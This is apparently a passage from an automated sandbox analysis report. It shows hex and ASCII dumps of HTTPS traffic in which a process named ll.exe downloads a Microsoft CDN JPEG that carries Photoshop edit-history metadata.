48 a8 ff 00 2d bc 71 f9 71 46 bf cf eb 4c b3 b3 b0 87 47 96 e1 3e fb 7f e3 b9 ec 6b 8f d5 5a 37 b8 88 99 57 fb ab
Data Ascii: k]rkV}y;_ZYVN\ym%Oh7*ZKZ\JoU|4?^/*RlX?&RVVo)W3I';j]68:Zf+z-qm=>>\H-qqFLG>kZ7W
2022-04-08 08:02:42 UTC2856INData Raw: 95 e2 f9 63 58 f7 23 3e 70 dd 7b 57 35 4c be 6a 5e eb f7 6d b7 98 e5 25 2e a7 a2 dd 78 6e cf 5e d2 d4 ea 11 41 3b ac 9f 37 cd b5 a3 c7 19 3e 95 9e da 6c ba 27 9b e4 2c 6d 67 24 63 6c 7b 8b 79 8c 78 c6 3b 1a a1 a3 f8 e2 c2 4d 49 93 fd 52 ca bb 64 6f e1 90 76 04 56 df 89 b5 43 7d 34 09 a5 59 c7 02 49 f2 ee 8f f8 5b df db f0 af 29 c6 bd 3a 8a 9c fe 17 df 64 61 25 63 8f 92 19 db 50 65 5f 32 28 37 16 db 1f cc ad eb ee 31 d2 a4 b8 d1 e4 8f 4f 8a e2 35 58 a2 95 8c 7b 99 be ee 3d ab a1 d3 f4 9d 57 4e b7 95 ed e5 8d 5a 4c ab 32 a8 6f f8 08 cf 35 55 1e ca e1 96 0b c8 a4 58 a3 6f 32 4f 3b 1f 7c 74 fc 07 f7 6b af eb 17 77 83 ba 5d 8c b9 ad b1 c5 cd e0 69 6e 2e b7 2c b1 c5 03 37 fa c6 fb bf ef 56 c4 7e 17 99 64 c5 bc 91 ac 11 c7 b5 a7 fb df 53 5d 2b ec 85 9a ed 22 69
Data Ascii: cX#>p{W5Lj^m%.xn^A;7>l',mg$cl{yx;MIRdovVC}4YI[):da%cPe_2(71O5X{=WNZL2o5UXo2O;|tkw]in.,7V~dS]+"i
2022-04-08 08:02:42 UTC2864INData Raw: d0 6a 5a 19 92 e3 ed a9 fb d5 91 b6 fc b5 5a e7 49 77 87 78 6f 9b 6d 75 46 a2 b2 19 47 4d d4 0d 9c 6c 89 f7 9b e5 f9 97 e5 ad 2b 17 2f 75 01 3f f2 cf fe f9 f6 ac 98 6d e3 f3 a2 63 f7 77 06 65 5a d8 e1 2e b2 1f e5 ad 5f 71 dc d3 9a 13 25 d7 98 3e eb 7c db aa 44 c2 37 dd a5 5b 88 da d7 fb bb 5b f8 69 d1 a9 66 5c 7b ff 00 df 54 44 18 f7 51 d4 ff 00 e3 d5 2c 38 dd fd dd df 35 33 66 ff 00 bc bf f7 cf f1 54 eb bf cc fb df f0 2a b6 23 a2 f0 ee 3c b9 e0 3b 76 7f ac dd b7 73 56 4d cd 9d b5 c4 d0 4a 51 be f1 56 fc 2a d6 8b a9 47 63 1c e2 45 69 5a 7f dd aa af f1 77 c5 49 aa da f9 d7 0a 91 b2 c4 d1 c6 37 2a fc ca ad df 9a f1 ea c5 46 a3 93 ea 75 c7 58 99 76 fa ac da 7e a9 2d bd a4 b2 2c 4d 88 e4 f9 be 6e 7d fb 57 65 67 6d 73 75 6b 29 f2 a4 b9 f2 24 1b 76 fc d1 37 b3
Data Ascii: jZZIwxomuFGMl+/u?mcweZ._q%>|D7[[if\{TDQ,853fT*#<;vsVMJQV*GcEiZwI7*FuXv~-,Mn}Wegmsuk)$v7
2022-04-08 08:02:42 UTC2880INData Raw: 00 4c 5f 2b 6f 96 d6 8c c7 b9 ea 07 ad 4b 67 ac 5c 58 c9 73 a7 9b c5 8a df 76 d8 d9 7e fa fd 07 51 8a f3 fd 3f 52 ba d6 24 82 3f b3 2c 52 59 fc ad b7 73 34 cd f5 cd 5c d5 ef ef 21 b7 8a f1 3e 59 d7 f7 6d bb ef 32 d6 cf 0b 79 5a 6e f7 0e 55 7b 1a 77 5a c5 c7 86 ef af b4 b4 69 2e 52 56 fb d3 fc ed b4 f2 08 f4 cd 73 9e 2a b3 91 35 2d 91 ed dd 3a 89 36 c7 f7 57 d4 1a d8 7d 41 24 b1 82 ea e7 f7 b2 dc e1 77 2e 19 95 97 a7 d0 56 be ab a1 d8 49 a3 c7 77 13 37 da 3c bd cd f2 ee 5d de df fd 7a de 32 54 9a 6d 6f a7 cc a6 79 9d c6 8e ff 00 6a 64 f3 55 5b f8 69 63 67 b5 8d 51 3e 5f e1 dd fe 15 a1 78 b1 c7 26 cf 99 67 6f bc cd f2 ed 5a af 34 26 e1 7e 46 db 17 f7 b6 fc d5 e9 5d b5 a8 cc cb a8 c4 7f 3c 8b b9 5b e6 db 59 b7 17 db ba 2e d6 5f 97 e5 ad 4b eb 8f b1 b7 95 24
Data Ascii: L_+oKg\Xsv~Q?R$?,RYs4\!>Ym2yZnU{wZi.RVs*5-:6W}A$w.VIw7<]z2TmoyjdU[icgQ>_x&goZ4&~F]<[Y._K$
2022-04-08 08:02:42 UTC2896INData Raw: df 2e e6 6a ca b9 fb 3a ae c8 36 b0 dd b9 97 f4 aa e9 1d c5 9c d9 ff 00 54 ad fd df ee d1 ca 9a b9 66 a4 d1 a6 d6 8f fe 04 ab 50 36 9f f6 75 f3 47 f0 af cc d5 2d ad f3 b4 39 8f e6 97 ee fc df 7a ad c7 7e 23 8f ec ed 16 e5 91 be 65 5a 9b b4 22 08 6f ec d5 62 49 77 6e e3 76 d6 db f2 d4 5a c4 36 f1 c2 cf 16 df de b7 cb e6 7d ed b5 8f a9 7d 9d 75 26 cb 7c bf 75 96 9f 75 a9 45 7f 24 70 6e db 0c 7f f8 f5 6a a9 ea a4 86 47 ad 5a 1b 65 82 44 6d c9 f7 7e ef dd aa 90 dc 4b 32 aa 15 f9 1b e5 dd fe cd 6c d8 20 b8 9b 63 af 98 8d f2 ab 56 85 ce 97 6f 61 1b 29 95 62 0a bf 79 97 e6 6f a5 5f b5 51 f7 5e e3 3b 4f 86 77 e9 73 6b 24 45 b6 ed fd dc 71 aa 96 6f 7c 57 a0 59 bd a4 36 ec f1 ee 81 dd 8f cb 27 f7 bd 71 5e 4b e0 9f 32 c6 f1 a4 3b bf 77 8f de 7f 0b 67 bd 7a 63 ad bc
Data Ascii: .j:6TfP6uG-9z~#eZ"obIwnvZ6}}u&|uuE$pnjGZeDm~K2l cVoa)byo_Q^;Owsk$Eqo|WY6'q^K2;wgzc
2022-04-08 08:02:42 UTC2903INData Raw: f3 25 2a c5 56 36 90 ed da 7a f3 eb 5f 8a 62 70 d2 a4 af 2d 0e ea 91 bd da 1f 73 ac 49 a8 69 eb 71 79 02 b4 f6 ac 62 fb c1 7c c6 f7 5a e5 3c 59 a7 e9 fe 28 d0 e7 b7 1a 64 71 34 b0 1d d1 b4 63 77 b1 19 ef f9 56 de ab 1d cf 82 e4 57 95 7c ff 00 3d b7 45 3c 8b e6 6d 5c 8e de bf 8d 51 b8 b0 ff 00 84 ba e2 cf 54 49 e5 81 d5 7c b8 da 36 db f3 56 54 6d 46 4a a2 76 57 d1 9e 7c ae 7c bf a7 c1 6f a2 dc 4b 02 cb b6 78 e4 2a d1 b7 ca cb 83 de ac 6a d7 cf a8 69 f7 96 f0 2c 97 2f bb 72 fd 9b ee ae 07 70 3d ab 3b c6 ab 16 8b e2 ed 5e 07 69 27 95 65 75 69 19 76 b6 e0 7b d7 0d 36 b1 7f 0b 49 1d 9c f2 40 b2 2f cd b5 b6 ee 53 da bf 66 a1 4b db f2 d5 f2 4f f5 1a 64 91 ae db 85 db f2 b2 b6 dd d5 ea df 07 7c 5b 25 8e a4 da 65 fd e2 c5 a7 4a a6 3f de 36 e5 dc 7f c6 bc 9a 3d 36
Data Ascii: %*V6z_bp-sIiqyb|Z<Y(dq4cwVW|=E<m\QTI|6VTmFJvW||oKx*ji,/rp=;^i'euiv{6I@/SfKOd|[%eJ?6=6
2022-04-08 08:02:42 UTC3563INData Raw: 3b fb 88 2d ee d5 96 f5 98 ee 93 f8 76 e3 8f c6 ba 6f 12 5c 4e 8b 2c 90 5b 7f a2 aa ed 83 fe 99 f1 8e 71 ed 58 de 1f bc 8e e6 fa d9 2f 2c 56 e6 58 db cc 65 66 f9 64 4e fc d7 0d 17 cb 1e 74 8d 7d 9a 4e c6 32 78 04 5d 4c 84 ca b0 44 bf 75 59 b6 b3 57 ac fc 3f d1 2d bc 2f 79 e6 4f ff 00 1e a8 bf 2b 2f f1 3f 5c 54 fa d6 ab 61 e3 3f 0d e2 0b 68 2c ee 2c d8 2c 71 ae 15 99 7a 28 cf 7a e4 7c 3f 67 ae c9 ab 44 97 ea cd 06 d3 2c 6a ad fc bd 2b 8e ad 69 e2 e8 ca 15 1f 2f 46 8b 71 8c 36 d4 fa 2f 4b f1 75 85 e4 de 6e a2 bf 66 8a db 0b e4 2a 86 69 99 85 47 ad 7c 48 8a e3 fd 1a db 6d 9c 1f 7a 4d cb f2 f1 d8 01 5e 65 6b f1 33 c3 de 05 d3 e2 82 fd 7c dd 46 eb 7c 8d fc 5e 4e 7b 55 ed 2f 54 b3 f1 f3 6f 4b c5 82 cd be f3 46 bb 5b 68 f6 3e b5 f2 92 cb bd 9d e7 38 35 05 d7 a1
Data Ascii: ;-vo\N,[qX/,VXefdNt}N2x]LDuYW?-/yO+/?\Ta?h,,,qz(z|?gD,j+i/Fq6/Kunf*iG|HmzM^ek3|F|^N{U/ToKF[h>85
2022-04-08 08:02:42 UTC3579INData Raw: ec 2d 07 dd b9 f3 0d 70 4a 53 87 c4 97 2b dd f6 ec 29 59 2d 42 4b 67 b8 65 26 e7 f7 4b f7 b6 fd ea bf a9 59 db d9 fd 9a 58 20 fd d3 2e ed b0 31 65 e3 fa fa d5 2d 13 c2 71 e9 12 45 71 77 79 1b 5a cb 9d 8c ad b9 77 53 64 d0 ed 92 17 8e 4f b4 c1 60 cd fc 52 7f 0f a7 e3 59 f3 c5 cb 95 4b 45 e4 52 b2 13 c4 9a 85 a7 da 23 8a c2 39 17 52 91 7c c6 6f f9 64 ac 2b 9c ba d1 6f 2e 36 f9 bb a5 95 b2 d2 7c df 7b be 6b 42 6b 6b 6b 69 31 64 d2 34 5c ab 33 7f 0e 7d fd aa cb 2a 58 db ca 8f fb d9 55 59 a3 92 56 f5 f5 ae aa 72 f6 69 46 3f 8e e3 45 6d 27 45 bc d4 af bc 97 8a 45 81 70 de 62 ae f6 5c 7d 2a 7b 7d 02 f6 39 19 67 8a 7f 2a 49 37 48 d2 7d df 6f a5 56 93 c4 d7 1f 2c 96 d1 4f 04 31 2e df 2e 39 3e 5d d9 eb 57 21 f1 13 6a 51 ac 50 79 90 4e ec 77 33 7d e6 5f 7f ff 00 5d
Data Ascii: -pJS+)Y-BKge&KYX .1e-qEqwyZwSdO`RYKER#9R|od+o.6|{kBkkki1d4\3}*XUYVriF?Em'EEpb\}*{}9g*I7H}oV,O1..9>]W!jQPyNw3}_]
2022-04-08 08:02:42 UTC3595INData Raw: 47 37 9b 62 81 95 5a 5f 95 ab 3e 52 b9 91 b3 36 ac 9a ac 9f 67 1f 37 96 bb b7 7f 7b f1 ac f9 ad c3 dc 79 50 6e da d8 66 fe f5 5e d2 74 99 2c 2d da 37 5d ed f7 77 2f f9 e2 b3 e1 be 93 45 d4 be 78 3c d7 8f e6 da d4 bd 07 6b 97 1f c5 47 4b 8d 6d a5 b6 dc bf 77 cf ff 00 67 bd 63 df e2 f2 4d e9 2e e4 6f bb bb f8 68 d7 75 47 d4 24 f3 1e 0f 2b cc fb ab fc 3b 6a e6 95 a0 cb 0d 8a ca f1 34 b0 48 df 79 7e f5 63 cb 1a 6b 9b 66 ca 6d cb 41 b6 b7 8d a2 c3 bf 6b 37 cb f2 ed f9 be 63 59 6f ae 6a 09 23 18 e7 6d cd f3 57 43 26 8f 02 c9 fb cb 95 81 37 6e 65 dc 37 7b d5 1b 9b 0b 39 b7 7d 8d fc f4 5f ba cd 44 5c 5b bb 57 31 d4 3c 33 34 6b a9 2b ea 92 b2 c5 27 de 93 de b7 2e bc 43 6f 6f 1c b6 d1 32 cf 17 2a b2 2f f3 ac 88 ed ed a4 8d 8e ff 00 f8 0f f7 5a 9f 71 a6 e9 d0 c7 8f
Data Ascii: G7bZ_>R6g7{yPnf^t,-7]w/Ex<kGKmwgcM.ohuG$+;j4Hy~ckfmAk7cYoj#mWC&7ne7{9}_D\[W1<34k+'.Coo2*/Zq
2022-04-08 08:02:42 UTC3603INData Raw: bd 44 36 31 47 34 f3 cf f3 0d a1 76 af f1 54 56 71 c9 1e d8 df 6b 6e ff 00 6a b4 ad 6d fc 95 51 77 b7 c8 91 8f 97 f8 56 35 25 64 52 57 23 b7 bc 4b 38 67 88 2e d7 91 82 c7 f2 d5 5d 59 a4 be da 88 db 9a 35 f9 56 af 6a 11 e9 df 65 69 22 97 fd 31 7f 87 f8 57 d7 35 95 04 c9 79 78 a0 7d f6 fe 1a ce 9d 9f bc 91 7d 2c 6e e9 76 72 ff 00 64 ac bb 55 b6 fc ad bb ef 7d 6b 3a e6 4b 88 63 fd dc 5f 3d 5b 91 ce 9b b4 16 59 51 be f2 ab 55 59 b5 48 ec fc a9 7e f7 f7 57 fd aa b8 c5 a0 65 17 69 2e 21 8b cc 66 55 dd f7 7f da ab ff 00 f0 8e c5 36 93 79 28 b9 8e 39 62 c7 ee 24 6f 9b 69 fe e9 aa 97 17 cf 7e bc 26 d6 fb db aa 17 9b 7a ed db f3 fd da 89 c6 5f 65 d8 8d 19 96 b6 ef 6d cb b6 ed bf 2f fb be d5 5a e6 37 76 67 db f7 bf bb 5b 8b 6f 15 bd ab 61 5b 77 0d f3 37 f1 66 a3 85
Data Ascii: D61G4vTVqknjmQwV5%dRW#K8g.]Y5Vjei"1W5yx}},nvrdU}k:Kc_=[YQUYH~Wei.!fU6y(9b$oi~&z_em/Z7vg[oa[w7f


Session IDSource IPSource PortDestination IPDestination PortProcess
14192.168.2.34999623.10.249.43443C:\Users\user\Desktop\ll.exe
TimestampkBytes transferredDirectionData
2022-04-08 08:02:42 UTC82OUTGET /cms/api/am/imageFileData/RWMW3O?ver=5b92 HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36 Edge/17.17134
Host: img-prod-cms-rt-microsoft-com.akamaized.net
Connection: Keep-Alive
2022-04-08 08:02:42 UTC99INHTTP/1.1 200 OK
Last-Modified: Mon, 04 Apr 2022 07:41:51 GMT
Access-Control-Allow-Origin: *
X-Datacenter: northeu
X-ActivityId: 6dc0ab63-03d3-400b-a7a1-7eef7d986f66
Timing-Allow-Origin: *
X-Frame-Options: deny
X-ResizerVersion: 1.0
Content-Type: image/jpeg
Content-Location: https://image.prod.cms.rt.microsoft.com/cms/api/am/imageFileData/RWMW3O?ver=5b92
X-Source-Length: 1605408
Content-Length: 1605408
Cache-Control: public, max-age=85170
Expires: Sat, 09 Apr 2022 07:42:12 GMT
Date: Fri, 08 Apr 2022 08:02:42 GMT
Connection: close
2022-04-08 08:02:42 UTC100INData Raw: ff d8 ff e1 18 04 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 91 87 69 00 04 00 00 00 01 00 00 00 a8 00 00 00 d4 00 0e a6 00 00 00 27 10 00 0e a6 00 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 31 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 31 3a 30 38 3a 30 35 20 31 33 3a 35 39 3a 32 39 00 00 00 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 04 00 00 00 01 00 00 04 38 a0 03 00 04 00 00 00 01 00 00 07 80 00 00 00 00 00 00 00 06 01 03 00 03 00 00 00 01 00 06 00 00 01 1a 00 05 00 00 00 01 00 00 01 22 01 1b 00 05 00
Data Ascii: ExifMM*bj(1r2i''Adobe Photoshop 21.1 (Windows)2021:08:05 13:59:298"
2022-04-08 08:02:42 UTC166INData Raw: db a5 ae 90 3d a3 6f d0 fe 46 e6 7b 14 33 3a 56 5e 39 1e a3 3d 46 b0 c8 7b 04 ba 7f aa 7f aa d5 54 5f d4 fd b4 34 c1 7c 90 e7 fb a5 a3 e9 4f a8 d1 66 d6 6d 7f d2 4f 86 ba c2 71 31 ec 7f 47 fc 54 1d 37 05 27 a3 59 ac f8 0f e7 00 d5 d1 00 fb e7 fc d5 4b 36 f7 07 7a 6d 76 ae f7 10 24 1e 76 ee 7f ef ff 00 6d 13 2f ab ef b8 d6 cd 85 ad 71 ad b6 47 b9 c6 3d fe 8f d3 da d6 6d ff 00 a6 b2 dc e6 db 6e fa fe 98 90 4b 8c c8 03 76 fd 3f 37 6f d3 4f 18 8c 8f 14 80 1a 5f fb eb 26 05 50 53 ed 12 da dc 76 06 43 9a 47 b9 db 87 e7 fe 3e d4 d6 bd c6 b3 ba 5f 68 69 91 a3 41 63 81 f7 c1 fa 4e dc 7f f3 04 db 5a 06 f7 1e 67 76 d1 b6 03 8e 92 df a4 84 6e da fd a3 f4 ac e5 c3 4d 74 3b b9 16 7f 59 4b 18 5d 50 ba ef f8 b0 f0 51 b0 c2 bb 1a 0c 1e 1d e1 e3 ab 74 51 0e 87 10 e3 ee 11
Data Ascii: =oF{3:V^9=F{T_4|OfmOq1GT7'YK6zmv$vm/qG=mnKv?7oO_&PSvCG>_hiAcNZgvnMt;YK]PQtQ
2022-04-08 08:02:42 UTC182INData Raw: 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 36 3a 34 33 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 33 38 38 30 31 37 38 38 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 30 3a 34 38 3a 35 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65
Data Ascii: 1080x1920.jpg saved&#xA;2016-07-26T10:46:43-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-538801788_1080x1920.jpg saved&#xA;2016-07-26T10:48:57-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle
2022-04-08 08:02:42 UTC215INData Raw: 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 33 35 39 36 38 37 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 37 2d 32 36 54 31 31 3a 30 30 3a 32 35 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 5f 43 72 6f 70 73 5c 45 64 67 65 2d 4c 69 66 65 73 74 79 6c 65 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 33 31 34 39 32 31 34 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30
Data Ascii: &#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-593596873_1080x1920.jpg saved&#xA;2016-07-26T11:00:25-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\_Crops\Edge-Lifestyle_GettyImages-113149214_1080x1920.jpg saved&#xA;20
2022-04-08 08:02:42 UTC321INData Raw: 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 31 35 5f 50 65 6e 5f 30 31 5f 42 4b 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 32 36 3a 34 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 53 75 72 66 61 63 65 5c 4a 75 61 6e 5c 53 75 72 66 61 63 65 50 65 6e 5c 43 72 6f 70 73 5c 53 55 52 5f 76 34 5f 50 65 6e 5f 46 61 6d 69 6c 79 5f 35 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 30 38 2d 33 31 54 31 33 3a 32 39 3a 31 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c
Data Ascii: \Surface\Juan\SurfacePen\Crops\SUR15_Pen_01_BK_1080x1920.jpg saved&#xA;2016-08-31T13:26:44-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Surface\Juan\SurfacePen\Crops\SUR_v4_Pen_Family_5_1080x1920.jpg saved&#xA;2016-08-31T13:29:17-07:00&#x9;File C:\Users\
2022-04-08 08:02:42 UTC361INData Raw: 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 30 38 30 78 31 39 32 30 5f 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 30 38 3a 33 34 3a 35 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5c 4d 49 54 2d 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 39 30 36 30 39 38 30 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 30 2d 31 37 54 30 38 3a 33 37 3a 31 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73
Data Ascii: indows10\Lockscreen_1080x1920_Portrait.psd saved&#xA;2016-10-17T08:34:56-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\HolidayShopping\MIT-HolidayShopping_GettyImages-519060980_1080x1920.jpg saved&#xA;2016-10-17T08:37:10-07:00&#x9;File C:\Us
2022-04-08 08:02:42 UTC420INData Raw: 64 20 6f 70 65 6e 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 35 3a 35 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 42 69 6e 67 5c 53 68 6f 70 70 69 6e 67 5c 5f 43 48 4f 53 45 4e 5c 42 69 6e 67 5f 48 6f 6c 69 64 61 79 53 68 6f 70 70 69 6e 67 5f 47 65 74 74 79 2d 36 32 30 39 39 39 35 35 39 5f 31 30 38 30 78 31 39 32 30 5f 47 72 61 64 69 65 6e 74 4e 6f 57 6f 72 64 73 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 31 30 54 31 31 3a 34 39 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f
Data Ascii: d opened&#xA;2016-11-10T11:45:54-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Bing\Shopping\_CHOSEN\Bing_HolidayShopping_Getty-620999559_1080x1920_GradientNoWords.jpg saved&#xA;2016-11-10T11:49:08-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Lockscreen_
2022-04-08 08:02:42 UTC484INData Raw: 50 6f 72 74 72 61 69 74 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 30 36 3a 33 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72 6f 64 75 63 74 69 76 69 74 79 54 69 70 73 5c 5f 43 48 4f 53 45 4e 5c 45 64 67 65 2d 54 61 73 6b 56 69 65 77 5f 67 72 61 64 69 65 6e 74 5f 35 30 30 70 78 2d 31 32 31 31 39 30 33 39 35 5f 31 30 38 30 78 31 39 32 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 31 31 54 31 31 3a 31 30 3a 32 33 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 45 64 67 65 5c 50 72
Data Ascii: Portrait.psd saved&#xA;2017-01-11T11:06:33-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\ProductivityTips\_CHOSEN\Edge-TaskView_gradient_500px-121190395_1080x1920.psd saved&#xA;2017-01-11T11:10:23-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\Pr
2022-04-08 08:02:42 UTC500INData Raw: 72 74 61 69 6e 6d 65 6e 74 5f 4d 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 39 31 38 36 39 39 35 33 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 32 2d 32 32 54 31 30 3a 35 34 3a 34 31 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 61 72 63 68 5c 43 48 4f 53 45 4e 5c 4d 49 54 2d 53 70 72 69 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5f 4d 61 72 63 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 32 33 37 37 32 31 33 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37
Data Ascii: rtainment_March_GettyImages-591869953_1080x1920.jpg saved&#xA;2017-02-22T10:54:41-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\SpringEntertainment\March\CHOSEN\MIT-SpringEntertainment_March_GettyImages-623772136_1080x1920.jpg saved&#xA;2017
2022-04-08 08:02:42 UTC607INData Raw: 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 34 37 38 33 31 39 38 35 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 37 54 31 31 3a 31 30 3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5c 43 48 4f 53 45 4e 5c 4d 53 2d 4d 61 6b 65 57 68 61 74 73 4e 65 78 74 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 30 39 37 33 31 32 37 36 5f 31 30 38 30 78 31 39 32 30 2e 6a 70 67 20 73 61 76 65
